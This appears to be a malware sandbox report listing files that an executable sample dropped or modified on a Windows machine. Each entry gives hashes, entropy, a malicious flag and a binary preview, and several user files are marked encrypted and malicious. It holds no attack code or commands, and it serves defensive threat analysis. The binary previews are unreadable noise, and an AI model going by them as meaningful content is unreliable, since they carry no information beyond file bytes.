Preview:	regf....z.r..\...\|.u..Q..d.B.r.?...X....lQ.(M.y.c.D=w{.}..A....r.~wd.CF.KD.pS....{1...i.5STZ)R.fc..<i..C+..q\z...;V..-mB.@zt. ....C..F\..S....)\|.).~w.@...d&..z..8.i...s..F..?..^.V.2.D...:Z..er<......^..N.....h....m.....^.......8G"#..p...@...>.(G..e.x.V.F.1....2....3.KG.+..-..Z.7.....u...2nl......8d.....~.!.......8.._.BR...e...v..D..R.Hy.D;....:7}.......D..77.J.OC.;`.L..&A..6..L..F..RFjW....$.}4.y..$4UV..l.v.3....A.0.c@...i.....f...9.9kR....6.\|.>..o.....+...^.Mg.D.........~........J..n.0.s....4.&......n7z...(i.~G..=z3J.....2Yma.^@.n...".;.....Aw.]<...?o...D..h....2i.7\|.\o"..}..f...9..N...#+..M5g..._$..8.$..d.$..z..X.....2%t.sQE.S.^..p=@.....O...E,."..U@W.K...n..........F.$8.]c.]O.H..[o.{?..H.~.4....}.r.0.e.[...haN.fO".QX.....mC....Q........S._x. ...`oe1...CwI....E...\|:!o....KTq.H..+.>../.....\_.6.u.(.f!.`.H.m....*fv...O.......&D....''?...2...W....KQ.52.....W.ZZ]..Y&.........7.?.e.}..z6...>uo"E.......g..y.. ..,.._...yp.Y.&-.b..&..!.aSV4..

C:\Users\user\AppData\Local\Packages\Windows.CBSPreview_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980076465258322
Encrypted:	false
SSDEEP:	192:dXtHa/giJMzvRcNghy1/JqYXC24eahOcZIRMibjFUS:dXcJMB41/EsOuOY6S
MD5:	FC06377AB7BFE8CE88B8916079E0EB2E
SHA1:	7D8B67F17A0110052C1657534239E307ECE3C992
SHA-256:	9DF46362FB4721ECC38ED41B2C039114241344D37D40DA61B796AAEDA06450B9
SHA-512:	29917F605CD727B7685E5459D1AEF12ADCFD49CEC32EE68C9EA427F56A133EA09B9CB78EF1DF8529095559DB1EF2AFE15E4A84393F379BECB44DFA507CF8C62D
Malicious:	false
Preview:	regf..WA...q.v<{@..$.>...q'......U.....b.....{iD`...8i./..2.^..........E20...u....;..m.kU...8a...\|.@....T.$....<.<.S..N.w:.`...eDJ......;L.w....oR.......COr...G/..p.....B.e...f.C` .L3w..\.t1O.=t1.>..d..6.z.g.o.....Q.{.R.....t.:}.:....A'l_.DUn.8 ..\|.F...P.......c.C.5.<$/k.\|.k.H...p....$.56:.FB.ZI..9fK.9C..ft......=.?.....MNY..I}....?][.....\Y....}.7..}..[<...o../.c..0.'.V]....-.....}._.`rLDHs.........,....$.GW....A...:1E..P.tH(q..^%....y.B....BF.WB...&'.A.WT.).!)We.C...L.~B..!......Q.....2i...J.C.(..)...k.k".....+.......{@N..D....#.......%.J.=p.e^9`..O.p...\|\.o......&.Sh?.........u...-.s......J..g.........M...!..............W).kM.>.............u:/....8.....8.......P.4>.....Jk.wn!.N.;2.I......b.f...Vz..=...6..`.J...KV.k....6..6r...G..m8Of.2Z.,Hl].A7.Cx......2g2B.]z.A..{.L.BR.M...E8...........J..~.......6.8.IO.x..R...t..g\|.#.....FSA.?....a.J..7k...jz7.{.-.i.........~.{.z.w....)i:f\.]..E...?7.....Ss.rS.v.....n..e:!.-..9..s1..b.x.D...

C:\Users\user\AppData\Local\Packages\Windows.PrintDialog_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979699349724069
Encrypted:	false
SSDEEP:	192:TZ6o7J6+tNPwNJGhhSo93AhPY7VdxUm7kMAIV9R:37NsJGh7Eeb77ZVX
MD5:	9652CD8F0367740A976ED164BD8A19AE
SHA1:	CFF0CC404B936B78DBD5BE1637E210A2111FE3A0
SHA-256:	1422F8872F1424E555E42721599D7ADE879679A59B18F886A7576CAFA290F038
SHA-512:	B4E106C7BD3502E5BD0680A0289F983C8EED69FDDBB5DAEE4A426A95E323058E3B8CB6F6D581C55D30362DF3016CBAF8158ED3BB4A6DFB8EFCE8606A0F2867F6
Malicious:	false
Preview:	regf..........L.....!D.i.H..q...r..........g..Z..R..2..2.6....&...aN.j.....EBI.k....a/.2]....7.:.....X[bw...h....F.).Y.I..jY{.....T......R........4.2a&.......2i..R..."G:... V.....c...v:....V....rg.r.D.......8......^..D.....l..hj.......cD.;..mjb..\^..Jv..5<o7.V..t...uh".0..9...."A..................?d...qT..).3c5D.c....8p.1.w....<C..4..[...s4k.?..U'#........LA..?..F....?....Q.D....ql..R./#A..x..DIZ....Y...>\|.J...[...`.h.Q4z.n.=_..i...Ir...E.lN".upl..B....(......_l..Jc.<.6....h.`._..l'.9.W.p.F.-..Ngmk....s.a......2.t.xw....4...E.....W.....p...q...'.......H......e...........p.9O5W..^.:.gD.m.\|.\|.7.....N..O.T;M.1.eWjO...-.d.g....,...N..V.....b..D.A4....+............dV....!.1.b{...6&.]MK.5]T.<*w.`W..f........K.w......\|U\o.\|..6...p...ac>.a....C.....mR......F..8g.&;Q_.k;s..9.+\|.8z......;.X.[.8._......zg......,{.5.....C..'..o..((.4.P.2i...o....#.Y.....C.Z$...........<?S.8U..P.4_yr7,>....^..b../Q:.2.t."....p.<....+...@.$.A.Oo....\|s.j.S.....`[.

C:\Users\user\AppData\Local\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9807660344252485
Encrypted:	false
SSDEEP:	192:WHLa0WUOJ7yWogo+E1/661McC50OuDtJ0TzeufCqWmw:YBWlJ7yAo9B6XcC5yM2GCqWH
MD5:	F005F740472C93BDCCF65DAA58A88D24
SHA1:	AAE9DCBF799EF2CD39EEE4BB3CC8271BBF284FC7
SHA-256:	CCB610A9C7E1CE3D7194B1B6E708A3AC459D3E9210ADEAA029EF02D3B41491A8
SHA-512:	DBFE0201F5EEEA3A20D917BA17DC12AA0553046389CDB814C7AC95CCB59DBBE211C3154614F26093698F1FB67C41FB2D099D5BEEAAC8FC0B8E0D097E5F15698C
Malicious:	false
Preview:	regf.F.QiQ.@E....$...g).Q..<x+Q.W.......r..~cv.U.cn...f.X....&.8...Ok`AV}.b.jC5J..]4j.Z.ZK!..}.J/..b.zL..8.^....C..^&.c..y^.&^.pU.+...G[{m9.}..}5......M8...A.........b@~...?3.....t.g..).......).)y.........D...3....I..y......H..C..k.i..}....R.....z0gs;w.@.............V...r(0.>;./V.....8J9..{h'....y..+......\....u..2.f..E....d.-....A.:P.FU+....q../F'.J...H.>y..B.I.:S..P..F...........{...j..F..N...v.w....?Z.....'......Y..$X..z@....L8.....#..j....Ccz....w.i..c.s..$}..`vT..$Q....X#A..:....fF..X.?.......B.9..ip..+.r...b....@..v......nV5.9..#[...\|s._.........W^.%n.c..Y.....9.=(.x......"...\|...C*..&...#...ei.....^xr.hV..7..T.....b..j.....c...K......j..R...!6..`8$J...~.$+V..ep5.b..O..................h.....l.6~Y s......../4gQt....k.e.GX.u.pzq..~y.L.G-l.....[..^@.....`..8.y.Z.5.a.........B...L......M...m........<.V..I..h.%lP.k......,..A..3....W".....i......;4..n...;Vo.J..Y....4..........J.....iz..w.'Gb.O......In5G.D]d...fAc.Q=.'."

C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog.etl

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.997129785583573
Encrypted:	true
SSDEEP:	1536:TiW24cK+o8XIZTISCrz0qmzDk2QO32Uy99Oxejrh0Uj/E:Ti4HISCv0qmBQgyWehh4
MD5:	0575CCE2229201B35E53AF24AFD2F0DF
SHA1:	3BFDF6B22DA12FA74E768444A8012F2F777757E5
SHA-256:	1F055C7E30140A46CBF1D7EA4C2B60435E575E0784A986CE6B256BF5FF5E39F5
SHA-512:	9CCD19AD7CC5D81B9C712D38989958BDD7D432FCD819583E86AF77C8E818294B1929384E834F2085886EACE58578803BDA81B155535DEA20DCB5F6FA62D13327
Malicious:	true
Preview:	.........Td.;.(..c...:B........\.2.[0......l.#T..9.=.2o.........^....B....2.#....1.fPy._....v..+...q..-......L0...u..7ZNK.R:.E..g!.f...a0...<..VeP.e......]<....@u~..&..z.....&.......Oy..0..C.V$W.;lf.F...T.N.F..o.S..+3^.bok....t.o...o+.&..1.......!~!_...\.......;\,;.m...N}...]#.L.Q.uC...z.8K..^.CMbhI.E.....s..F..r.~S..T..<.... ..h....f.c.90.9.T....0.M..GN..<.K#?P.&'..#.1../P..o#....>..JP.y.n.2.:.n...qEl.d.Y9U.X..]!.9...A......3.U.z;.0Vz.,..Do._.....$-.).. ..i..n..../2e\...;-k...g.=.6.".u$9.b.+...B.L. .(....6..ft#...XPi...I..{>..2..@....Q-...E;.r..w.p;o.sZ..n?.6s...L.on:-..,m.VU^..<r.}9..^=....o.-.&.5.....G.....T=.......s...#.e.<f}.....b3.A..r...7.+....o...p..T......F"..&.....'.\&?.....W5..y.0.y._...5d....i.t....T..=.O/.)c......\|.:......f..u@\.,f]\|A.}.u..ty.......d .3..f..v..z..G....V.f.s.....O............Xd...U.V....e.jV....../j7..V..s..>.R.mC>..a"...r.T..j........~...@.N..8k...wu.4./I..u.D......B..L..5<..t.N....?HB.....7%,".5.

C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog_Old.etl

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	65870
Entropy (8bit):	7.9968306922783565
Encrypted:	true
SSDEEP:	1536:sq8tvpqUUia6FORRfP6DfeWqjf3hg/TjvY+:s/eji9F+RXqqjWjA+
MD5:	C93B2D9A1DE7B044B72279A3736103BB
SHA1:	D8EC5912E303EE961C2216CB6D93D24875AB5CE2
SHA-256:	157CE39310AC29E1C5E8C47D292A2FEE8DEF2DA547FC1AEB68945F3CF5B080CE
SHA-512:	32425718CDD796419C3B1EA85D5BB4809445D06ED668D322E27EAD18374930293BC9E8C35E783F74BE86879241080959886A23BC8EFEA4808A14436A7A1ACA49
Malicious:	true
Preview:	......M....0....A...J..//.v...Q..S...zi.F.h.Bx....!.D.Y...b....B......f.0...R.........P.L......J?..'..R.....]k..5t.g./..='I...?U<-&K......f5..c.).uF.....7Fs...n...d...$.b.....itS..{rWJ....nXz#.../r..l....Nl.._..../.R\|.BvI..8`..=.......6....{._.......1.)...^i.....{B.o.V...j.fiVT.....xw\|.1s....y...<...]q..0.>.....<0.....]".........2.....e..6.).~Xh..k......@....T$CB.,.LD......"y"4.J..;H..O.m...x.v.=23.....z.B...QEl..6.D4q...<...W..>6h@...U.R.....:.u..8.,.'G."S.o.b.{.Q.l.w!...A.[.B...\|[?h.^..l..M...c....z......r.w.....5....;...5......KsD...[B..^...7..PT..T...]Le.....c2..g.....=uC.7..s.............=.0.6.{.... .Rt............H.X./........W.2...(.~2.!.1..aL..._.>....J6.uC.4g?..r..\| <......i.M....h....e.HK.f'r=..e.._....@..08B..<.2n.}..#9\..\|..7.....5$..C....p.Dm<~_..,%W.y"O+.. p....TJ...%\|...}W.....~.F.cp... ..........UDh..&....<7....z.nj.7.....H..?..f..Or+r...*D......F...V.3.). ..YndM.<......S3K4..X..R.\.Gy.A.kYo:XZ.....

C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxStore.hxd

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	1.3116921521620322
Encrypted:	false
SSDEEP:	6144:h0LOBsIX0vALXIy9i57Wze6+LmEckzn2J:aquIiWXIy9jxCmRkT2J
MD5:	040FDA7F06EEDAAB4A51A65317849C1D
SHA1:	A8912ECE698499EDA7EC9DA67D096AA6A5DB4CE7
SHA-256:	FFEC1F702F9AB54C1C113B00B779AB08F5C3C6F38BE76F077063D9B6BB60B54F
SHA-512:	843E288B241420EDA095D964359D9E8D44EF95EABEE574C0EDA54CA880DE4E3F65EECC4C617817BAD5FA8AEAB4A19DFC3C10B4EDDA1FC70233437EF04AEB77F0
Malicious:	false
Preview:	Nostr..l.....r..z...L.R..x.H....l.Bp/.]7f....3...e..7...I....x..........,...Q....}...Y..f;...............T.S6.`.BU..6...l...1.p......Q9...9.]m..........y..8..Q..:.`.E...D....s7......~..g..<..1...,..2...Ei...-.'......xa.Nc"......I.)}..Q....R..ni..%..m..9..%.],.B.5Cp...W..(.]..z.\.O1.9..).t.FKX..)...aD.o[...)...t^.gw/o.d...6...B.O..<3.....X@..L..R-h...6=.~z....8\|C..s}r.CH.Du...%6....(}/.j.U...7.z...0.7Ds..%..x\2.\|....?#v:YX^..."..Bt.o&..zu.^....16..3...lnI.$...>..V<'.j.R+...$.:<..Ng&w...n.....9+V..H...yy.ND.....}:h.D[.i............_.._..).i.p..Dh..]c)c>.T._.b.x.&..QTa.\.i.......ta.....F....?..-..p.'....3...d\....z.".5m./.b.U;...`w.1...g.h.Y...r5e.3..(.....d..1....".~.g..?e.......g.%).,9.;X.....l.Fq.L&.kB..........\|.......;\p....(DY...t..%...i0b...."...mh.......ZNA.....Z..\|[W.R......8..a....q..}C......AE.jIw....,.)..."..H..x.b......>..n.I...o*..y_....x.....PLw...X.....m.?.S...7.n:....3C../5.o.....>..K.....@r.+..Pn$.....v..C..e.,e..nq!.7.

C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989604047088523
Encrypted:	false
SSDEEP:	384:/FN/OLF/gQFtXoM/AhbM4UeO9MCr81riwWx3Rm4/p2lghzSOkX:/KFgQFtRaVBer8161RmSp2y5K
MD5:	7D12F62CE9AD8BEDEAABBE713A9F794F
SHA1:	3D7FF27073B086DA92B309DB3CF7512CDCECF4A0
SHA-256:	2E5C98E22F83704B8565DBCF507D951E82F600F16D0943422E5C66679E3A30CB
SHA-512:	54D29D8E169DC4EC7E16D93D0E35BD608D6FF4B1ADE59CC2D1C3D5A8454D3A8052AA0B3426BD3703D89F39919435583B07B56A2F261F209741094C4927B6AC97
Malicious:	false
Preview:	regf..7.K.?....bP.9..t....z...7.d..>O..3.%.......Zw..v.4....).HY..g...Y.....e......5..6..+.9...1...u.w....tq.p.......N.#K.......RK;......@[..:.6..E[K.....2R;H....[.8..p...~?.....~z...\.2..w.7..A..S...$p.g....`..L....H"...FT..n..L..g...IG.F.j.L!(.J]......._..T.>H1...+.)...wa....'.OUI.9....3.7.....B.@....Ms.z.A.C=.n@.....sR.....e.n..\|...~....c..>+P .....n.......c.].f.y....= .\|.".,d.s>.$..v._..!..{......&.u...ze..v..N.:......".+..OY.......=hR.H.H'..`.....$w.s....4:...$.`..D.....V...5.nj..~nX!5..2%.AXr.LS>...{i..L.yj.$.....P>'7..!...-..YkW..-aO.A..q...s..O.....Q............%.#{.C..\|........<I.....e-....s....J....;..J.jq.s....%u..4.s..}.W]5.9.:<T......$.d.!.=u.NbJ.t}..A....ai*.wn}..Hu=..w..........k.l..g..L..e....XqJ._L.. ..+ k^.+.q..2.....'...H/X....Y.........8..G..4.a..3.[...lD.2.b....y...Yf$..iV....1..S}6.cB...@..G..,.M..M.1......8..d6g.$.....u5.%.h>#.8..,>...n2.9.i.Z..H...u+s.Pq..7.9..._.z.!k$E...[....c.c..}......(..;.\...bgIM._..Y@.H..

C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	12622
Entropy (8bit):	7.985312678038478
Encrypted:	false
SSDEEP:	384:jLLUCUpPcPr4DhcfbWlgHKvdfp4epw3PPYLcbE4mI:jXzsk4hQbukKhpiPPIN4mI
MD5:	958E2B73A99A115CA64EBB622C13A5F1
SHA1:	FBB8101A0221DB9471890F5AEEF475D5C506A4E4
SHA-256:	9FFE93EB9C53FEA623E72633BD473309D79E87505080883CA1184BC32A9D0EE9
SHA-512:	185673FE66A33CF802E9547687B9D751C1E9145AC02D9557CBAC1CED010DE27B2E9B55A31D52BDE7FBE9656E604FE2A11F2577C4C695EE4CA15029C0AE6A2D83
Malicious:	false
Preview:	regf.%.Q.<s.rl....#.....m.0 %..e..s.!.+.B.I..k{....:Rl.3....BX..q.Kx.7.Yq...M..OzK.v...r>..#...d....B..B.\|..$..+N..a.$..d.,6.m...^.....N....Z........{....V.....(......%_2O.A..}..7.p....y.Vn..^..a.p.hm.6#...]y.......,..a(U..;+5...6z.hw.W.........83.\v9.x1.A..@.wFM..IjhS.\a..0)f.z...L..\J.PZ....X%..7_..=S..(.$.2.B...W.D..&...z1P.....s{..m.3F..?}..7...1v../.C.Gp!..L-.n..-n`../`?.......?R....k..!2.-~......%Y........s..:}.b.sg..g....!<....f.m)..)O......w......jCe.{I.=.@w2k..dh%A..;..........7.A.X.....1.M!.....B.4......-M.\|YN..F.7.\|.C...^..K.<hcl3..z..S%.?~....b.j.4...0.(0.v.,....4.G....Q-..mB..@s.OG.}....f..w........gc.Vd..:.n.....po.?.E.Dbo3....d4.-93.n...T....K?..}m...d.b.5.G._+8`.+.../...*.c.....0Y`....n....>..D-...S..=..[..a....o.e.Q;&.V..<;301Q#.0..\....p.....+...0.9.........~.P.i.....d...#.v..I^_.=.F.p.VNCv.6.h.)...k..i...h..m.~m].0....'.XN..Z.s:tm.-#.{f..94...!:....[...AM.O..P.c7.....p.G.......&d.\|.i.....n:...PUr$....h,)Z..m

C:\Users\user\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977083652036515
Encrypted:	false
SSDEEP:	192:bnM4Dm6s59eRx/k3sT/muN6Ol0PUuAzdggO9Z6amGpr:bMdfMx/E896r1AZOZ6a5pr
MD5:	EC705BDB01032E2D9099EBF3AA757752
SHA1:	DC7890D7680CCF1B3882A23A26B3465FD29A33A2
SHA-256:	C9536102970C8344C2432124F2E92925FE2C5EA12E169F92BEAF94BDCA38218F
SHA-512:	1A7F5DD3E8F4F1173B871871D7055C2E3DAE381E4E414EE031FD2E0025377A3CE71017A2968225739001616523A6171618273D1E7C57B562C49FFECC005B93CD
Malicious:	false
Preview:	regf..@<.../Y,_....H....B.$.X.Q;.q..ww...yI.=.4)..F.b.....u..q.-.3rkF..dl[..%..t.4.,Ge.n...O..%!0...M...;....y.......&S'j,.<.uU..$./..&..B.=..J.V-..0..+_.gA.FFb..K.f.Q..U.n....$..... S.`b.4.t-..zm...r.m.`...F2_.@....?%.}..l.@].....N2i\#...kO.e..Q-r"...M...[.tS3..?/...P.A$M...#_`.7..b.3....R...R.<..nV.d..........~i5.H.6.U@....F..?.....kD..&...?....Z.0p..k\0Hf....f.V...+\|.4..b..\.k........P..D...VB..Eo.].....s.A./>`....0.RQ...i3..K...2.6W.<..{K..,?=J.2...K8...\|...q.J%C.mR.s.'].8fH.[.'.$.h...g.......N.~ ....v....1.F.q............V.\gf..0Ju.mr....1Kz.q.........q...j..k.1......A.D,.ck3....f........r.y?d,Q..U.(I.(..\.j.\|....'E.n.%...v`,....;e{..B...V...h....u./L>RE.....jS....y.z..9M.`v.B.D\..r.o....E...~.4p..^}.>#]...Q..\|k..c..].i..C.y...<d@..J].....r....U...P.A.:.'..(-.u.G....7.o.A:}...8.K..u....Xi/..2-.om.*N..@......E.[~.D..O..g.....P..E.^...7R.Q..M@)..).......N.J.0LC.8'.G1..M`...I.u..J)(.p.:Y..._.J....v.<'..ta...t..kX......M.5...O.;...T'...m(.

C:\Users\user\AppData\Local\Temp\.ses

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	387
Entropy (8bit):	7.230937804711484
Encrypted:	false
SSDEEP:	12:305Aiuc3fBbflhRdyHUq91g5pfLayiXPKIk+Prgcii9a:30AgbfPGH7WhUkbD
MD5:	B76F311286EC8F428A22EB3FBBFBA2E2
SHA1:	C924A4BBAF88F7FB96DA1EB671370DACEEE487A6
SHA-256:	1C4737769AE478C26C17AB4515E1AAC7320EA58C21F8C00DDF0405C6B7C8CDF2
SHA-512:	FAAC0EAE29D7E48FE1C152A1525296E7991B329DAD447B94FFA103E03B365C31504F1BA44F990FECA43DADA44C57445E5398AFA98006C19AAB9EF9350C8764DA
Malicious:	false
Preview:	16965...9....El//...g..M..t.p?Q...$....mvm.?..D...Y%4`.......<"..).0..%....rY`.}........P>.....3....*....\0....r.Gx..s9.!3...\.>.0..[9(.2].l.(...8........U)..1.yTv......A.....j._...s...zs3.\|......u.8;?......O.z...lm..../.(.....<X..y.i..4-.G"'.....@...03.z?.k..~.Q.$.......Q..U..Q.X........y.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992102596158
Encrypted:	true
SSDEEP:	384:Ma6XG54EXeztd9NQkG89+0FFTcrDZm+lkk7r63QFzDtSm0kuPj+6z63NwXeU8:or9NNFCr9m+Sky3QFzBub+6z98
MD5:	150CA67A5A0E04B87B7E3591B70114DF
SHA1:	F4CD2290CC88D3A0381D2DF17BE709B4778E8F7B
SHA-256:	CD2B2F458E36A871C7557B433855CAE0938DD971E0D1E5A2F61677BB405FEA54
SHA-512:	FCD429B4DDC3506521DC894212F7C03DBC84DA74FA113AF1C6B41A73E69B02771E6368929CEB21CF3AF6ED2AB6E5540F0CAA576D16E2C59905638EBCC4CD8A50
Malicious:	true
Preview:	SQLit!^n_.......L.f.BrJ.s....B...D.<.4k#.+....>.....E.V....k...f\|u..~.!b...D.. ./.......1....xl..rc^:w.B.....M......F.+...H..J.&....'.Q.u.3.D."..a.s..q..G....".<C.HZ..I.. l.y......I..V3.>FMYi..jX....k...D..~.......=...\^.t}..,...{F.Q.n..\..9.n.Kf.g....3..mO.%...-....F_.B.akM...q...R.mp..k..q...N..j.#^...Cy#<.J.L......Y.. ?...C..J..2]...N..K...'..........7......@...j[!....~\|....I...O.?... ....B........uL..............T.....gd. 3.o.....<.!..5/..R:.....f^'........^h;#:{&...}8.0......0..,.y{e......9a....Q?Fs;....:.......\A!.9....Q9....u..~.lM.s l.....+..5.......r....$f...(.$.>Kvp..&.C......C. ...I.R.pL.^....~toi..=D..%.p.......f.u.k.<4_ .S....g...H....'+...<O..7.;. \U.C...b....y.8.3.....J].bM~.z.0..oohk...67.`qF.wHv.K.%7.33t){.a..U.-}..R....O!=).....D.`...p?].t..$..1....x.U...:.f$z.>819.+.{.zq..q..#.....X.y.r)u.4....C.ZgGuP.,...E.>......kx..^....M..q.<..QC..X.W.4tb.k....t\|!....Z....U....G...e.~j.....?......\..r+..SY).....p..QPM...Z..c....Cd

C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.session64

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.996823416333042
Encrypted:	true
SSDEEP:	1536:PfnPsOU2EC2HbTrDOCGQeN28A7CraC3s1YcT7J4C:PXsLlfzyCDGqEaC3s1Y0J4C
MD5:	3480BCD70A7D487E6E313E616D0763BF
SHA1:	A82304F45F8D3A08CD7173A15C3066D2AD284A5B
SHA-256:	C1FCE8F12DB0AFFE24781E7A5982C8C4A63A11DD5DBEB1F0386C73BD6A03F093
SHA-512:	87EBC7A1B29B3FB8D528F01762600143BBC8C8E360FDF1A743D9476121A5D7B624D046D847AADA258BF2DCCD66A7CAE485B30A016F91CB8755470BCE52E957FE
Malicious:	true
Preview:	1G.f....U....m_......A...9...Ma)..3...V.....SN.j..6...?9ez..7V;~ .Z%..?......x@/..I..FV_?.zA)9..<..%...?..JA`. <...b..bj......._z#Q.l..!.;..d=.lbN.?'T....AY.$E.<.S...P....^..w.0h....A(.."0..V#.J1...[-.G.....]...\........!=...?M...H..P...=.+......>.7v].i......P..@.@-.Id!;...y?...)....hst?..M..0+EPhAu...Y..qO.7c\|..]..<.o:4..d@.#.BZ.&%.".....-.......P....]...=').R..(k..u..01........%.U&...T...!..>...#.....q..._/X.[..U..9.[..i...l.ns!..b.X,.O^u,.QLn....oJG.f.D..$W..t=...K.``AKN.....n..W!E.~x...9...2...n8.....5H.[.g8../...Y.?2.W.5.O./m....K...4..@..-4.........us.Dm.;X..$Up....~..'..."....3P.0~.`=.6.....E1.....8.1.mC..z....4.&.."L.L../.`....l..J..[.nG@..S."..y..3[#.;.,.RF.e._3-{.J. v.!.'.!.0ng.....L.#i.....4.=6/..Qu.].OM....&j..C...\`y?Mj....965P.......#.....#....f..'8C.[.NH..8.....].4. h....f".-.d.F...!.......3.8....../p/..q.J...+.6.R.v:..S.O.x....-.@lV.O.\.z....L...(.+HR........?*&.>.9....!.K..j.?j..p...P(k.c.2.B.Efrq.....3...7..Vx...fc&.6sL.

C:\Users\user\AppData\Local\Temp\1C5A642E.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
File Type:	ASCII text
Category:	modified
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\22447170.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\22761D60.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\3E871580.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\lvAVrO.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\AppData\Local\Temp\40AC14CD.exe

Download File

